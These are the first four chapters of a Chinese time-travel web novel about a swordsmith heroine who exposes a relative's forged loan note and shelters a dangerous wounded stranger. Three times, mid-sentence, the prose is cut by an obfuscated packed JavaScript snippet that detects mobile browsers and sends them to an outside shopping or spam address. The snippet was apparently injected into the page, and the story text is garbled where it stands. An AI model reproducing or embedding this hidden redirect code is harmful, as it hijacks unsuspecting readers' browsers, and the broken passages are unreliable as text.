《我在古代当锻造大师》 1. 第 1 章 疼。 柳依依是被后脑勺传来的钝痛给疼醒的。 “贱蹄子!莫要装死!赶紧起来!”男人愤怒的声音在她耳边响起。 她勉强睁开眼,只见一个满脸横肉的胖子满目鄙夷地望着自己:“真是个赔钱货……我们柳家的铺子给你真的是糟蹋了!” 铺子?柳家?这胖子刚刚在说什么? 柳依依把目光从胖子身上移开,放眼望去,满屋里都是古色古香的木质家具,倒像是古装剧的拍摄现场。 这是哪儿?柳依依愣了神。 原主的记忆如潮水般袭来,柳依依看过不少小说,立刻明白自己穿越了。她本是赫赫有名的非遗锻剑大师,痴剑成瘾,结果因为忙于工作,为了锻剑甚至日夜不休,结果不幸猝死。 现在,她穿越成的女子也叫柳依依,住在叫“依云镇”的小镇里。原主父母经营着一家铁匠铺,结果天不遂人愿,半个月前他们驾着马车去买熔炉用的煤炭时,碰到泥石流当场遇难,只留下了16岁的原主。 原主年幼,又生性羞涩寡言,父母去世后,家里瞬间没了收益,铺子也闲置下来。 就在刚刚,原主的同镇远亲柳白竟然跑过来想吃绝户,原主自然是不乐意的,争执中亲戚愤怒地推了她一把,原主后脑勺碰地,含恨离去。 原主离开后,柳依依就魂穿到了她身上。 柳依依在脑中扫了一下原主的记忆,所谓欠债完全是莫须有的事,原主父母根本没借过他的钱。 柳白纯粹是仗着当事人已不在,跑来讹人的。 想到这里,柳依依抬眼,面无表情地瞥了柳白一眼。 柳白见她醒了,脸红脖子粗继续说:“贱蹄子!我可告诉你!你便是躲到天边,这银子也赖不掉,天底下哪有这般欠债不还的理儿!” “我告诉你,你父母借了我五两银子至今没还!你作为他们的女儿帮忙还债!天经地义!” “你看我作甚?”柳白被柳依依冰冷的目光看得有些发毛,但见对方坐地上不为所动,便撸起袖子想接着动手打人。 “若不是看在你那短命鬼父母与我有几分交情的份上,你以为我愿意借银子给他们?下贱胚子果然想着赖账!白纸黑字在此,当真是抵赖不得!我已经说过了,你若不还也可以,那就把你家铺子拿来抵债!” 柳白从怀里摸索半天,拿出一张借条,指着上面的名字道:“你可看清楚了?上面还有你父母的指印和签名!” 柳依依“啧”了一声。 想都不用想,肯定是假的。 她强忍着后脑勺的疼痛,从地上站起来,拍了拍袖口上的灰,干净利落地转身走进一旁的厨房。 柳白以为对方妥协了,面露喜色,嘴上依旧不饶人:“早这样就对了嘛,赶紧把地契给我,我赶时间呢!哪有空和你这克死父母的瘟丧纠缠!” 过了会儿柳依依又出来了,柳白定睛一看,发现柳依依手上哪有什么地契,她竟然端着一锅煮沸的开水,朝自己走来! “你想干什么!我告诉你……” 柳白瞪大双眼,正想端着长辈的架子呵斥,结果话还没说完,下一秒,柳依依竟然真的直接把开水泼了过来。 纵使柳白反应快,连忙向旁边跳开,但部分滚烫的开水还是飞溅到他的小腿上。 柳白立马发出杀猪般的惨叫,火辣辣的剧痛传来,他圆滚的身体跌倒在地,撞到了木桌和椅子,在地上抽搐着。 见状,柳依依冷笑一声:“怎么不骂了?嗯?”她把空荡荡的铁锅朝他砸过去,“有本事继续骂呀!” 胖子正忍着痛在地上打滚,睚眦欲裂道:“好你个柳依依!你竟然敢这样对我!你个没家教的东西!我可是你……” 没等他把话说完,柳依依直接抄起厨房旁边的扫把,朝着柳白的臭嘴狠狠抽去。 柳白又是惨叫一声。他护住头,想躲闪,但室内就那么大,能躲到哪儿去?他伸出手想要抓住面前的扫把。“你岂敢伤人!救命啊!打人啦!打人啦!” 说完,柳白咬牙看着柳依依,在心里辱骂道:这小贱人今儿个怎就变了个人似的,以前无论自己怎么折腾,柳依依都不敢还手,方才莫非是真被自己逼狠了,这才突然硬气起来? 这边铺子里动静闹得太大,镇民们相继被二人的吵闹声吸引了过来。不看不知道,一看吓一跳,往日里见到人就说不出话的柳依依竟然抄起扫帚,在铺子里追着柳白就是一顿暴打。 镇民们议论纷纷。 “嘶——这是怎么了?他们两人不是远房亲戚吗?怎么打起来了?” “快!去叫镇长来!” “天啊……” 见有人过来了,柳白一边护住头,一边呼救:“快救我!柳依依要杀人了!杀人啦!欠钱不还还要杀人啦!” 柳依依迅速抬起扫帚,然后对着柳白的肥脑门又是重重一下。“好你个柳白!明明是你先对我一个弱女子动手推搡,怎么还恶人先告状?” 柳白的腿被烫伤,一时半会儿使不上力站不起来,只好狼狈地在地上滚来滚去,以躲避柳依依的抽打。 他在地面上滚得灰头土脸,不顾往日形象地喊道:“柳依依疯啦!杀人啦!快!快去帮我报官!”柳依依在他额头敲出好几个大包后,柳白终于成功抓住扫帚,暂时终止了她的进攻。 “报官?!”柳依依停下手,笑着反问。“好啊,那就报官,我们对证公堂!让全天下的人都知道你这狼心狗肺的玩意儿,怎么样?” 柳依依指着柳白,高声喊道:“你伪造借条,还跑来想霸占我家铺子!我不愿意,你就动手打我!” 说完,她撩起头发,对着镇民们露出自己的后脑,那里果然磕破了皮,正往外渗着血。 这边的动静太大,围观的镇民越来越多,他们看到了柳依依额头上的疤痕,不由得多信了她几分。 “你们瞧,柳依依后脑还真有伤,流了不少血!” “我正纳闷他俩怎的打了起来,缘由竟是这样。柳白不是咱镇里出了名的好吃懒做吗?以前还偷过我家的白菜呢,被我当场抓了个正着!我呸!” “难怪往日温柔恬静的柳姑娘今日生了大气,这是被逼急了啊!” 原主在镇民们眼里本就腼腆害羞,前些日子她父母离世实在令人同情,再加上柳白在镇里名声本就不好,大家不由得更偏信柳依依一些。 “不是!不是这样的!你们别听柳依依胡说!”柳白气急,急忙辩解道:“我手上是有借条的,证据就在这里!柳依依……你这个老赖,还敢打我!我今天非得替你父母好好教训你!” 就在这时,有些无奈又带着几分怒意的声音从人群之后响起:“什么事啊,你们闹得鸡犬不宁的……” “镇长来了!快让让!” “镇长!” “总算来了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17498661|202624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 那些围观的镇民纷纷避让,一名穿着朴素、扛着锄头的老人挤过人群,好奇地伸着脑袋朝铺子里看了一眼。 老者大概五十出头,胡子花白,裤腿上沾满了泥泞,显然是才从农地里匆忙赶来的。 “这是怎么回事!依依,把扫把先放下好好说话。”镇长仔细把脚底的泥擦干净后,这才走进了屋慢慢道。 “镇长!”柳白像是抓住了救命稻草一样,急忙申辩道:“柳依依她……欠钱不还,我只是来催她还钱,她却直接对我一个长辈大打出手!真的是毫无教养!” 听到柳白的话,镇长把眉头深深地皱了起来,上下打量了他一番,显然他不太相信这些话,对柳白平日的为人还是有些了解的。过了会镇长才把目光移到了柳依依身上,表情温和了几分道:“柳依依,你说。” 原主的记忆中,镇长平日里公正慈祥,在镇民中威望很高。 柳依依耸耸肩,如实作答:“他伪造我父母的借条来找我骗钱讹人,被我识破了就打我,逼着我把家里的铺子过户给他……所以我就打回去了。” “胡说!”柳白厉声反驳:“柳依依,我可是有借条的!” 说罢,他把借条拿出来交给镇长,“镇长,您看,我这儿还有柳依依父亲以前写给我的书信,您可以对比一下字迹!” 书信? 柳依依愣了一下,好像的确有这么回事。原主的父亲的确给柳白以前写过不少信,毕竟是远亲多少有些联系,柳白时不时会出镇赌博,一去就是好几天,导致父亲不得不写信给他。 “借条?”镇长接过借条,又拿起原主父亲以前写的书信,拿到烛光下仔细看了许久,才不得不点头说:“依依,这上面的名字……的确很像你父亲的字迹……末尾的名字,写得几乎一模一样。” “依依,莫非是你父亲真的借过钱,但是你尚且不知?” 听到镇长这么说,柳白趾高气扬地抱着肩:“听到了吗?镇长都这么说了!你还要赖账不成,赶紧还钱,不还就按照借条上面写的,把这件铺子抵押给我。” “借条是你伪造的。”柳依依看了一眼借条,认真对比了一下,随后勾起嘴角,不紧不慢地伸手指了指上面的名字,“这是你伪造的签名。” “柳依依,说话是要讲证据的!和你父亲以前写的字一模一样!你还要胡搅蛮缠?”柳白勃然大怒。 柳依依翻了个白眼:“就是因为一模一样,所以才是假的啊。” 镇长愣了一下:“依依,你的意思是?” “人提笔写字,笔迹当然不可能完全一模一样,只会看上去很像。”柳依依将父亲的书信和借条重叠在一起,透过烛光,隐约可以看到两张纸上的字迹完美地重合在了一起。 ““所以……”柳依依一边说,一边把两张重叠的纸递回镇长。对方眯着眼仔细观察起来:“借条上的名字根本不是手写的,而是刻章印上去的。” 柳白脸色瞬间煞白,似乎还想说什么。 柳依依挥挥手打断道:“你是找人帮忙对我父亲的留名做了印章,没错吧?” 开什么玩笑,柳依依自己就是做这一行的,怎么可能看不出来!她以前铸剑的时候,经常在剑柄或者剑身上刻字,从人名到诗词都有,这点小把戏,当真能忽悠她呢? “赶紧滚!” 柳依依板着脸对着柳白说:“再不滚,我现在就报官!” 2. 第 2 章 柳白自己浑身上下僵硬得像石头,嘴唇哆哆嗦嗦,半天说不出话来。他能感受到围观的镇民们鄙视的眼神,还有镇民们不留情面地低声讽刺着自己,自己的脸皮像是被扯下来,火辣辣的痛。 磨蹭半天,柳白最后只能恶狠狠丢下一句“柳依依你给我等着”,灰溜溜地离开了,一边走还色厉内荏地喊道:“看什么看!没见过误会吗!赶紧散了散了!” 此刻已经入了秋,大家还有不少农活要忙,陆陆续续散去。 镇长看着柳依依,最后有些欣慰地点点头:“依依,你长大了,倒是变了不少,好……好啊……” 他到底是有些心疼柳依依的,年纪这么小,父母就不在了,得自己硬生生去生活,撑起这个家。 柳依依苦笑一下:“日子嘛,总得过下去。” “有什么困难,可以告诉镇里,我们大家一起想办法。”镇长点头,扛起锄头准备离开,“那我先不打扰你了,我要赶紧出镇买个新锄头嘞。这伙计陪我好几年了,以前你父亲帮我修过三回,看样子现在是不行了! 镇长指了指锄头,那里有个很明显的巨大缺口。 柳依依对镇长印象还不错,于是说:“镇长要是不嫌弃,不如交给我来修修吧?” “你?”镇长瞪大眼睛,倒不是质疑,只是有些难以置信。“你会打铁?你不是以前说对敲敲打打的不感兴趣?” 柳依依随口撒谎道:“平日里没少看父亲锻造,多少也会些。” “果真?”镇长大喜。他们依云镇本就偏僻,镇子里就柳家一个铁匠铺。如果坐牛车去隔壁镇上集市,来回需要一整天,费时费钱不说,山路崎岖,这来来回回一把老骨头都给颠散架了。 镇长摸摸胡子,从怀里摸出一个小袋子,放在柳依依面前。“既然如此……那便谢谢依依了,我也不让你白忙活,这钱你先收着,你日子也不容易,把锄头修好了再给我便是。只是尽可能快些,我急着用锄头把地里杂草的根搅出来打肥。” 送别镇长后,柳依依打开钱袋子,里面装了八十枚铜板。说实话,按照记忆里的市场价,这钱完全够镇长买一把新的了。 柳依依默默把人情记在心里,随后检查起家里的铁匠铺还有锻造炉来,和现代比,它们的构造的确比较原始,但好在功能齐全,完全可以使用。 有炉子,自然也需要燃料和铁矿。 柳依依在家里仔细搜了一下,矿石还剩一点,修锄头完全够了。至于柴火,厨房里还剩最后一点,这些柴还要用来生火做饭,况且拿去点燃锻造炉也不够,她得去镇后山的树林里捡些干柴回来。 后山离镇子并不算远,镇里的农户经常去那里采蘑菇捡柴,印象里没有什么危险的动物。 趁这天还没黑,柳依依吃力地背上门口的大箩筐,拿起柴刀出发了。 才走了估摸一炷香的时间,哪怕隔着衣服,柳依依的双肩也被粗糙的背带磨得有些肿痛。 柳依依叹了口气,刚刚打柳白的时候,她其实还没用多少力气呢,就觉得有些累了。原主的身子骨还是有些弱的,再加上才16岁,以后得多运动锻炼一下。 她环顾四周,发现了有些树的叶片比较宽大,于是快步上前摘了好几片叶子,把它们对折,垫在自己的肩膀上。 这么一来摩擦感减轻了不少。 后山到了,柳依依在山脚下看到了一架肮脏的老旧独轮车。原主的记忆中,这车在这里扔了快大半年了,也不知道是谁家的。 柳依依瞥了一眼,也没在意,继续前行。 此时正值秋季,是砍柴的最佳时期,树木水分少,柴的品质也好。 古代没有现代的技术,再加上工具只有一把柴刀,柳依依避开了那些粗壮高大的树木。她熟练地走到一棵矮小的松树面前,选择了一根手腕粗的旁枝,手起刀落。 伴随着清澈的断裂声,紧实的木质就被柳依依劈出一道口子,柳依依没有继续挥砍那个部位,而是反向再砍了一刀,树枝的根部被她砍出了V形缺口,这样更容易砍断枝条。 稍一用力,一根手腕粗的树枝就掉在了地上,柳依依用柴刀把上面稀碎的枝条全部削断后,一起丢进后背的箩筐里。 松树这种硬木密度偏大,一根就能烧很久,而且富含油脂,容易引燃,只要能妥善处理生成的浓烟,它就是很合适的柴火。 作为非遗锻剑技艺传承人,柳依依对木头可谓是相当了解,什么木头适合烧火引燃锻造炉,什么木头适合制作剑鞘或者剑柄,都相当讲究。当初为了获取满意的原料,她没少亲自进山取材。 柳依依如法炮制,把这棵松树的树枝都砍下来后,简直汗流浃背,只好在原地休息一会儿。 她一边休息,一边打量着面前光秃秃的矮松。 树枝还好,树干更费功夫,考虑到这个身体的情况,她决定先不管了,另寻些别的柴火。 灌木更加合适。 她休息了会儿,继续出发了。为了防止迷路,也为了保护生态,柳依依只是沿着路边一路寻找着。 很快她就发现了目标——岗松,俗名扫把草。 柳依依心里一喜。 扫把草枝条柔软,叶子细小如针,极易砍伐不说,根茎燃烧值还很高,并且总体偏轻,方便自己背回去。 柳依依站在灌木丛的侧面,伸手抓住几根扫把草的顶端,另一只手用柴刀向下斜砍。她只砍靠近根端往上的部分,扫把草生命顽强,这样还能继续再生,不必担心竭泽而渔。 顺手抖落上面的泥土和枯叶后,柳依依抽出一根藤条,把割下来的扫把草捆扎成小捆,扔进了背篓里。 她花了些功夫,只在这里采集了自己能承受重量的柴火。肩膀上用来垫肩的树叶子早就不翼而飞了,柳依依又摘了些来,继续垫在肩上,准备回家。 柳依依刚走几步,结果发现灌木丛的缝隙里好像有一件黑色的衣服,她定睛一看,发现好像是个人? 她怀疑自己看错了,仔细观察了下,发现躺在那里的还真的是个人,并且那人一动不动,不知道怎么了。 去还是不去? 柳依依迟疑了一下,决定上前看看,那人说不定是附近的农户。 她握紧柴刀,蹑手蹑脚地走上前去。 那是个相当高大的男人,黑色衣物上有复杂精细的纹路。虽然柳依依不认得这是什么纹样和布料,但显而易见,质地上好,这男人肯定不是什么农户或者地主。 柳依依往男人腹部望去,不由得倒吸一口凉气。 男人的腹部有一道不小的伤口,像是被匕首所伤,他黑色衣物的下摆已经被鲜血彻底染成了深墨色。 这人可能是路过被劫匪袭击的大商人?想到这里,柳依依微微蹙眉,在男人身边蹲下,伸手去试探男人的鼻息。 微弱温热的鼻息喷在了她的手指上。 还活着。 如果自己就这么走了,这男人这么躺在野地里,今晚很可能就要丧命了;如果自己救了,或许会牵扯到一些麻烦。 柳依依有些无奈。 虽然她如今只想安安稳稳经营好自己的铺子,过自己的安稳平淡人生,但自己还是做不出这种见死不救的事。 无论如何,得先止血。 柳依依起身,在附近迅速搜寻,她用柴刀挑开灌木,仔细观察地面,很快就找到了一种贴地匍匐生长,根茎呈现紫红色的野草。 找到了。 这草叫地锦草,以前她上山寻柴不小心被带刺的灌木割伤,就是用它来止血。柳依依割了些地锦草,发现茎叶折断后会流出乳白色的汁液后,确定自己没有找错。 没有条件研磨,柳依依只好往嘴里塞了一大把地锦草,用力咀嚼起来。 地锦草咀嚼起来很柴,属于新鲜青草的那种独特的苦涩味在柳依依嘴里炸开,让她难受得慌,天知道她花了多大意志力才没直接吐出来。 柳依依一边咀嚼着,一边瞥了眼男人身上的衣物。黑色衣物已经沾了不少泥,保险起见,柳依依选择用柴刀割下了自己的内衬,截取出长长的一条,用来当做绷带。 她把嚼碎的地锦草吐在了绷带上,微微抹开,让草药能覆盖整个伤口,随后准备帮男人包扎。 她伸手想解开男人的衣物,结果指尖刚碰到男人的衣领,她的手腕就传来一阵剧痛。 男人的右手以迅雷不及掩耳之势,死死抓住了她的手腕。柳依依痛呼出声,她怀疑自己的骨头都要被捏碎了。 “松手!”柳依依疼得嘴角直抽,向男人脸上看去。 男人依然闭着眼,看上去没醒,只是眉头皱得更深了,潜意识里仍带着敌意,似乎没有松手的打算。 柳依依差点气笑了,一边挣扎一边道:“好心救你,你怎么还对恩人动手?再不松手,我就用柴刀把你手砍了,然后把你丢这荒地里喂狼!” 或许是听见了柳依依的话,也许是受伤太重失去了力气,男人终于慢慢松手了。 柳依依揉了揉自己的手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17498662|202624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腕,发现上面已经有了淤青,没好气地瞪了昏迷的男人一眼,这才把男人的衣服暂时解开,帮他包扎伤口。 由于男人脸朝天躺着,他太重了,再加上地面肮脏,柳依依怕有脏东西入了伤口,废了好大的劲才把他的伤口包扎好,帮他把衣服再穿好。 她帮男人包扎好伤口时,太阳已经西垂了。柳依依望着昏迷的男人,又看了眼自己装了大半筐柴火的背篓,开始头疼起来。 今天的柴,自己可能要白捡了。 目前来看,柳依依只能把柴暂时丢这里,把男人放进背篓里背回去了。 不过,这男人长这么高,又不是小孩子,真的能扔进背篓里吗? 柳依依余光扫了男人的身形一眼,只觉得够呛。 突然,她想起来后山山脚的那辆独轮车,离这里很近,或许能借来用用? 天快黑了,事不宜迟,柳依依连忙出发,回到了山脚,试着推了几下独轮车,发现虽然破旧,但的确还能使用。 这也是个奇迹了,这独轮车风吹日晒了大半年,竟然还没坏。 柳依依不得不感叹劳动人民的工匠精神。 有了独轮车就好办事多了。她用独轮车自带的支架把车固定住,随后用吃奶的力才勉强把男人扶到了独轮车上,一路小心翼翼,生怕独轮车散架。 在确保男人不会从车上跌落后,为了不引人注意引起误会,柳依依往男人身上盖了一些提前捆好的扫把草,把他遮了起来。 虽然这草轻盈柔软,但柳依依还是谨慎地避开了男人的伤口。 做完这一切后,柳依依才背起装着柴火的背篓,推着独轮车回家了。 天已经彻底黑了,好在今夜星月晴朗,皎皎月光下柳依依能看清回家的路。 她发现柳白家的灯依然亮着,也不知道对方又在谋划什么。 等柳依依打开家门时,已经精疲力尽、饥肠辘辘了。她把背篓随手丢在地上,然后把独轮车上昏迷的男人扶进了屋。 自家的屋子很小,能住人的只有自己和父母的两间房,也没有那种大户人家才会有的客房,柳依依只好把男人扶进了父母生前住的房间里,男人身上那件黑衣服太脏了,柳依依选择丢在一旁的椅子上。 随后她才把柴火搬进厨房里备用。家里还有米和菜,柳依依准备给自己先简单做点粥。 炉灶里还留着火星,扫把草又易燃,很快火就升了起来。 柳依依往锅里倒水下米,她想了想,还是加了两个人的米量。 她在锅前熬了快半个时辰,确定粥熬得软烂后,正准备先给自己来一碗,突然听到了激烈的敲门声。 “柳依依!快开门!”柳白的声音从自家大门外传来,听上去来者不善。 “快开门!”他把大门砸得砰砰响。 柳依依瞥了墙角的柴刀,不动声色地把它放在离大门口随手可拿的位置,然后透过门缝往外一看,门外齐刷刷都是打着火把的镇民,镇长也在其中,大家都面色严肃。 莫不是有什么急事? 柳依依打开了门,无视了一脸愤怒的柳白,转头问镇长道:“这么晚了,大家怎么来了?” “柳依依!你还在装蒜!”见自己被无视,柳白气得吹胡子瞪眼,指着柳依依的鼻子道。 柳依依看向镇长,面露不解。 “是这样的……依依……柳白举证说,他今晚看到你用独轮车推着男人的尸体一路回了家……”镇长显然也不太相信这事,但杀人可是大事,必须问清楚。 他本来是想自己一个人看看是什么情况,谁料到柳白自作主张,竟然把大半个镇里的人都叫了过来。 听到这里,柳依依终于肯正眼看柳白了。 此刻柳白竟然心虚了一点,低着头,不敢直视她,眼神躲闪说:“我其实也是不敢相信柳依依会杀人的,毕竟杀人可是大罪啊!毕竟再怎么她也是我们柳家的人,莫不是……依依,你是带了个男人回来私通?快把他叫出来,给我们解释清楚!” 柳依依差点气笑了:“你造假抢我铺子不成,又跑来造谣生事!” “哪儿那么多废话!我们镇里可容不下一个不守妇道的女人!更容不下一个杀人犯!”柳白竟然直接挤开柳依依,直接强闯进屋。 他动作太快,镇长也没拦住。“柳白!” 柳白的目光迅速扫过铺内,看到柳依依父母的房间门紧闭着,眼中深处闪过一丝迫切扭曲的快意。 他猛地推开紧闭的屋门。 3. 第 3 章 柳白猛地推开了那间屋子的木门。 柳依依暗道不好,可当她看向屋内后,却发现屋里空荡荡的,没有人,就连床单都被叠得整整齐齐的,完全看不出这里先前还躺过人。 床边椅子上那件黑色的衣服也不见了。 虽然柳依依很好奇那个男人去哪儿了,但此刻她还是不由得松了口气。 她救人完全是出于好心,怕麻烦才把那人偷偷带回去。她不怕困难,但完全没必要给自己制造困难。 不过困难已经自己贴上来讨打了,她自然也不会畏惧。 怎么自己想过个安稳的咸鱼生活都这么难! 镇长显然也恼火了,他在屋子门口没好气地说:“柳白!闹够了没有!你到底要闹到什么时候!” 他不信邪,又在铺子的每个房间里逛了一圈。 柳白喃喃自语:“怎么会这样……我明明看到了啊……独轮车上好像有个男人……还刻意用草盖住了……” 柳依依冷笑一声:“柳白,我看你是失心疯了吧?我上山砍柴,背不动了,看到路边有个废弃的独轮车,暂时借用一下带柴回家,你就跑来造谣我?” “我分明看见了!”柳白依然不认输。 “哦,你又看见了。”柳依依又翻了个白眼,指了指房间。“那人呢?人呢?你告诉我在哪儿呢?”人的名誉与社会关系紧密相连,柳白这次显然是想毁掉自己的名誉。 “我……”柳白被怼得哑口无言,他发现自己的小算盘在柳依依面前无处遁形。 经过今日这两件事后,门口的镇民们也对柳白相当不满。 “你到底想干什么?这么晚了把我们大家都叫过来,搞得鸡犬不宁,想死啊你!俺明天还要早起赶集呢!” “就是就是,我原以为他只是好吃懒做,如今看来,心思歹毒着呢,柳依依不是他亲戚吗?连亲人也这么折腾啊?” “你不懂,心眼子坏是这样,一肚子坏水呢,管你什么亲戚不亲戚的。” “今日算我……误会你了……”柳白咬牙准备离开。 “站住!”柳依依喊道,随后对他扬了扬下巴,“你忘了两件事,就这么走了?” “什么?”柳白没想到对方会这么说,一时没回过神。 “我要赔偿,还有……”柳依依一字一顿地说:“给、我、道、歉。” “柳依依!”柳白后槽牙都快咬碎了。“你可别太过分!” 让他给这个黄毛丫头道歉简直是奇耻大辱。 “过分?”柳依依被这人的厚颜无耻震惊到了,忍不住吐槽说:“你上午跑来造假借条想夺走我的铺子,晚上又来造谣我杀人,造谣我不贞,你就不过分了?” “你……”柳白深呼吸一口气,他余光瞥见四周对自己敌视无比的镇民们,决定暂时服软,没好气地说:“道歉!” “好了,我道歉了,现在我总可以走了吧?” “不行!”柳依依坚决摇头。“你敷衍谁呢?重新道歉,还有,我要五两银子赔偿!你要是不给,我明天哪怕爬到城里去,也要报官!” “五两?!”柳白嘴里发出尖锐的爆鸣声。“你怎么不去抢?” 他常年赌博,在外面累积了不少债务,所以如今才急切地跑来霸占柳依依家的铺子,结果不仅没拿到铺子,还要倒赔柳依依五两银子。 “我还觉得要少了呢!”柳依依从桌上拿出纸笔,用柳白当初对自己说过的话反击回去:“你也必须给我打欠条!别想着赖账!欠债还钱,天经地义!” 镇民们都在为柳依依打抱不平。 “五两银子,道歉,一样不能少!柳白,我早就看你不顺眼了,成天游手好闲,欺负人家小姑娘,算什么东西!” “就是就是!我们这么多双眼睛看着呢,你上午拿假借条的事儿还没跟你算账,晚上又来这一出!柳依依要报官,我们都给她作证!” 镇长重重叹了口气,走上前拍了拍柳白的肩膀,语气带着几份冰冷道:“柳白,你毕竟也是咱们镇里的人,人在做天在看。道个歉、赔点钱,总比进了衙门挨板子强。你要是不肯,依依只好去报官,到时候可不只是五两银子的事了。” 柳白浑身一颤。他当然知道,自己干的龌龊事若真闹到官府,少说也要吃几十大板,说不定还得蹲天牢。想到这里,他咬紧牙关,用力握拳,指甲深深陷进了掌心里。 “好……好!”柳白从牙缝里挤出几个字,声音像是从地底 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17498663|202624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下冒出来的。“我道歉!” 他弯下腰,双手抱拳,把声音压得很低,不情不愿开口了:“柳依依,今儿个是我柳白对不住你,我猪油蒙心才做了混账事,污你清白,还想夺你家产。我向你赔罪,对不住你!求你大人大量,饶我这一回。” 柳依依这才微微点头,从桌上拿起纸笔,“啪”地一声拍在柳白面前的桌上,补充说:“写吧,五两银子,三个月内还清。你若是逾期不还,利上加利,按每日一个铜板来算。” 柳白颤抖着手,提起笔,一字一句地写下欠条。 欠条墨迹未干,柳依依便一把抽过去,仔细看了看,发现没有藏文字游戏后,又递给镇长:“麻烦镇长和各位叔伯做个见证,在这上面签个字。” 镇长接过笔,龙飞凤舞地在上面也签下自己的名字,又有几个镇里德高望重的老人依次按了手印。 柳白看着那张被众人传阅的欠条,面如死灰,一言不发地转身,跌跌撞撞地挤出了人群。 “散了散了,都回去吧。大半夜的……还不安生……”镇长挥了挥手,镇民们这才三三两两地离去,临走时还不忘朝柳白离去的方向啐上几口。 柳依依一边道谢,一边送走大家。 等大家都离开后,铺子里总算是安静了。 柳依依揉了揉太阳穴,她连忙走进父母的房间,想仔细检查一番。 奇怪了,那男人到底去哪儿了?活生生一个人直接飞了不成? 柳依依来到窗边,细心观察,发现窗户没有被打开过的痕迹,那个男人没有通过窗户离开。 莫不是自己在厨房做饭的时候,他从屋子正门偷偷溜走了?可是,自家木门推开会发出“吱呀”的声音,厨房和卧室的距离很近,自己在厨房不太可能听不见。 难道那男人还没走,他醒来后还藏在屋里?很有可能了,这么重的伤,他应该没有余力走太远才是。 柳依依正思索着,突然,自己身旁的衣柜被猛地推开,发出巨大的声响,她还没反应过来,就感觉一阵大力袭来,自己的身体被猛地控制住,冰凉锋利的尖刃抵在了自己的喉咙上。 “别出声。”低沉的男声从柳依依背后响起。“你若是敢叫出来……” 4. 第 4 章 “别出声。你若是敢叫出来……” 男人话音刚落,柳依依就感觉自己脖子上的刀被他压得更紧了些,她后背生凉,能感受到对方骨子里粘稠又冰冷的杀意。 柳依依放低声音,让自己冷静下来,低声道:“好……我不喊。” 如果男人想直接杀了她,自己已经死了。他完全没必要多此一举,让自己别叫出声。 “这是何处?”男人问道。 “南郡,依云镇的柳家铁匠铺。”柳依依不敢动弹,只是如实回答。 二人贴得极近,她能感受到男人沉稳的心跳,能闻到男人身上淡淡的血腥味,混合着属于地锦草的些许药涩味。 “这是你的铺子?是你救了我?” “正是。我在镇子的后山上砍柴,恰巧看到了昏迷的你,所以帮你包扎救了回来。” “多谢。”男人话里听不出情绪。 哥们,你道谢的方式真的有点惊世骇俗了。 柳依依真的很想说:你把刀放下再道谢或许更有诚意一些。 男人沉默一会儿,竟然拿出了一枚小药丸,强行捏开柳依依的嘴塞了进去,然后用力掐着她的下颚,逼柳依依咽了下去。 “你……”柳依依感觉那药丸带着令人头皮发麻的腥甜味,从食道滑入了腹中。 “它叫五步丸。”男人的手腕微动,冰凉坚硬的刀片轻轻拍着柳依依的下巴,一下又一下。 “它外面是厚厚的糖衣,最里面却是毒药。你必须在三日内服下解药,否则它的毒性就会发作,要了你的命……” 柳依依:“……” 跪求恩将仇报狗男人退货教程! “当然,我手上有解药。”男人终于放开了柳依依,悠悠地把架在她脖子上的刀放了下来。“只要你说该说的话,做该做的事,我自会在三日内把解药给你。” “此话当真?”柳依依摸了摸自己的脖子。 “自然当真。”男人深深地看了她一眼,点头道:“我说了便会做到,绝不会食言。姑娘的救命之恩,自会涌泉相报。” “我叫柳依依。”柳依依叹了口气,暗道这都什么破事。 “叶七。”话毕,男人闷哼一声,身体微微晃了一下。 柳依依细看一眼,才发现一朵刺目的血花在他腹部的绷带上绽放开来。刚才男人的动作太大,想必牵扯到了他的伤,导致又出血了。 “叶七?你还好吧?”柳依依皱眉,伸手想去扶他。 “无妨……小伤……不必挂怀。” 柳依依有些无言以对。 她能不挂怀吗?大哥你死了我的毒可怎么办? 男人挥了挥手表示自己无事,下一秒却失去了意识,直愣愣地倒回床上。 柳依依赶紧小跑到母亲生前的梳妆台前,根据原主的记忆,家里备了一些伤药,就放在母亲梳妆台中的匣子里。 柳依依一拉开梳妆台的抽屉,就看到了一个黑匣子,里面真的放了十来瓶药物,还有一些麻布制作的绷带。 她先把绷带取了出来,然后才把注意力放在了药瓶上。 好在每瓶药上,都贴了一张写着药名的纸片。 安神、开窍、化痰止咳、祛风湿、活血化瘀…… 不对,都不对。 柳依依飞速地翻找着,突然她注意到药匣子最角落里的药上的标签。 金创。 就是这个! 